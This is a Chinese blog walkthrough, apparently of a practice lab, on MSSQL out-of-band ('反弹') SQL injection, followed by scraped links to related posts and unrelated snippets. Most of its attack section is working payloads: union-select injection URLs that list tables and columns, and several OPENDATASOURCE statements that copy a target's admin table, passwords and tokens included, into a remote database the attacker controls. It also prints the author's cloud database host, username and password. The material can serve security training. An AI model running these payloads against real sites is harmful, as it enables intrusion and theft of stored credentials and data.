MSSQL-反弹注入
工具:香港云免费云服务器:http://www.webweb.com
注册使用匿名邮箱:https://bccto.me/
香港云服务器搭建MSSQL数据库,并建表admin,字段数要大于等于我们想要获取的表。
首先打开靶场:http://59.63.200.79:8015/?id=1
尝试是否可注入:

闭合;

通过order by查询到表中为三字段。后来通过问别人知道里面还有一字段类型是二进制大对象 不支持order by——-所以说是四个字段,建表时尽可能多建吧。
先按照视频上讲的对靶场数据库进行表名,字段名查询常规操作,便于理解,但是实际反弹注入中可能不会出现:
查表名:http://59.63.200.79:8015/?id=1%27%20union%20select%20id,name,null%20from%20sysobjects%20where%20xtype=%27U%27--+

查到各表名及其在sysobjects系统自带表中的id。
查admin表中字段名:http://59.63.200.79:8015/?id=1%27%20union%20select%20id,name,null%20from%20syscolumns%20where%20id=1977058079%20--+

查表中内容:

查出了id、passwd、token。其中token可能就是flag.
接下来尝试反弹注入:
注册香港云:
账号:saddadsadadsa
香港运登录密码:12345678
数据库库名:DB_14B8A3E_AAAA
数据库密码:12345678
数据库链接地址:SQL5006.webweb.com
数据库用户名:DB_14B8A3E_AAAA_admin
在香港云的数据库中创建一个大于三字段的表,用来接收数据。

我们创建了一个叫admin的四字段表用来接收反弹注入数据;
构建语句:insert
into
opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin
select * from admin —+
执行状况:

获得flag.当然这里数据只有一条,实战中应该结合系统自代表一步步查询。
insert
into
opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin
select null,null,name,null from sysobjects where xtype=’U’ —+
查询出所有用户创建表:


获得表的id。
查询admin表中字段:insert
into
opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin
select * from syscolumns where id=1977058079 —+

获得字段.
获得表中数据:insert
into
opendatasource(‘sqloledb’,’server=SQL5006.webweb.com,1433;uid=DB_14B8A3E_AAAA_admin;pwd=12345678;database=DB_14B8A3E_AAAA’).DB_14B8A3E_AAAA.dbo.admin
select%20 id,passwd,token,username from admin —+

获得flag.
MSSQL-反弹注入的更多相关文章
- MSSQL注入:显错注入及反弹注入
前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...
- MSSQL注入--反弹注入
明明是sql注入的点,却无法进行注入,注射工具拆解的速度异常的缓慢,错误提示信息关闭,无法返回注入的结果,这个时候你便可以尝试使用反弹注入, 反弹注入需要依赖于函数opendatasource的支持, ...
- MSSQL SQL注入 总结
0x00 MSSQL 基础 MSSQL系统自带库和表 系统自带库 MSSQL安装后默认带了6个数据库,其中4个系统级库:master,model,tempdb和msdb:2个示例库:Northwind ...
- 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记
sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...
- sql server(mssql)联合注入
sql server(mssql)联合注入 sql server简介: SQL Server 是Microsoft 公司推出的关系型数据库管理系统.具有使用方便可伸缩性好与相关软件集成程度高等优点,可 ...
- mssql手工注入及绕过术
报错注入: - 例子:http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 [1]首先爆版本:http://www.kfgtfcj.xxx.cn ...
- MSSQL手工注入 报错注入方法
例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1[1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show. ...
- mssql 手工注入流程小结
对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC.SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份 ...
- mssql手工注入2
--+ 先说一些函数的说明: substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度 ascii(char) ...
- mssql手工注入
判断注入点: 1.数字型 http://www.targer.com/article.aspx?id=1 http://www.targer.com/article.aspx?id=1' http:/ ...
随机推荐
- bash命令检测Shell脚本中的语法错误和查看详细执行过程
(1).bash命令检测Shell脚本中的语法错误 bash -v [脚本] [root@youxi1 ~]# vim a.sh #/bin/bash sum=$[$1+$2] echoo $sum ...
- SpringBoot配置热部署
1.spring-boot-devtools 在pom中直接引入依赖 <dependency> <groupId>org.springframework.boot</gr ...
- 【Spring Boot学习之十一】整合mongoDB
环境 eclipse 4.7 jdk 1.8 Spring Boot 1.5.2 参考: SpringBoot+Mongodb的使用
- Python怎么去写单元测试用例去测试hello world呢
逛着博客园,看到乙醇大佬的一篇随笔 https://www.cnblogs.com/nbkhic/p/9370446.html,于是就在想怎么测试这句hello world print('hello ...
- SqlServer调用OPENQUERY函数远程执行增删改查
/* OPENQUERY函数,远程执行数据库增删改查 关于OPENQUERY函数第二个参数不支持拼接变量的方案 方案1:将OPENQUERY语句整个拼接为字符串,再用EXEC执行该字符串语句 方案2: ...
- Java11新特性 - 标准Java异步HTTP客户端
Java9开始引入的一个处理 HTTP 请求的的 HTTP Client API,该 API 支持同步和异步,而在 Java 11 中已经为正式可用状态,你可以在 java.net 包中找到这个 AP ...
- linux安装mysql后报错启动不了Starting MySQL. ERROR! The server quit without updating PID file (/var/lib/mysql/localhost.localdomain.pid).
今天安装完Mysql后,开启发生了错误: 2.打开错误信息文件,查看错误原因是:Plugin 'FEDERATED' is disabled. /usr/sbin/mysqld: Table 'mys ...
- java中常见关键字的介绍
Java中类,属性,方法修饰符 public 公共访问权限,不但在本应用中可以放问,其他应用也可以访问.接口中的方法默认都是public的 protected 被protected修改的:可以被本类, ...
- server.port 在单元测试中,调用的类或者方法这个地方获取到的端口号就会变成-1
@Value("${server.port}") 本文链接:https://blog.csdn.net/weixin_38342534/article/details/886985 ...
- loadbalance轮询算法 java实现
/** * <html> * <body> * <P> Copyright JasonInternational</p> * <p> All ...